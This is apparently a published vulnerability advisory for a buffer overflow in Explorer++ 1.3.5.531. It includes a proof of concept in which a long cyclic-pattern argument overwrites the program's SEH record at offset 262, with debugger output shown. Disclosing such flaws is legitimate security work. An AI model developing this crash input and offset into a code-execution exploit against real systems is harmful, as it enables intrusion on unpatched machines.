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Explorer32++ 1.3.5.531 Buffer Overflow
Explorer32++ version 1.3.5.531 suffers from a buffer overflow vulnerability.
# Exploit Title: Explorer32++ 1.3.5.531 - Buffer overflow# Discovery by: Rafael Pedrero# Discovery Date: 2022-01-09# Vendor Homepage: http://www.explorerplusplus.com/# Software Link : http://www.explorerplusplus.com/# Tested Version: 1.3.5.531# Tested on: Windows 10CVSS v3: 7.3CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:HCWE: CWE-119Buffer overflow controlling the Structured Exception Handler (SEH) recordsin Explorer++ 1.3.5.531, and possibly other versions, may allow attackersto execute arbitrary code via a long file name argument.Proof of concept:Open Explorer32++.exe from command line with a large string in Arguments,more than 396 chars:File '<Explorer++_PATH>\Explorer32++.exe'Arguments'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'SEH chain of main threadAddress SE handler0018FB14 0069004100370069 *** CORRUPT ENTRY ***0BADF00D [+] Examining SEH chain0BADF00D SEH record (nseh field) at 0x0018fb14 overwritten withunicode pattern : 0x00370069 (offset 262), followed by 626 bytes of cyclicdata after the handler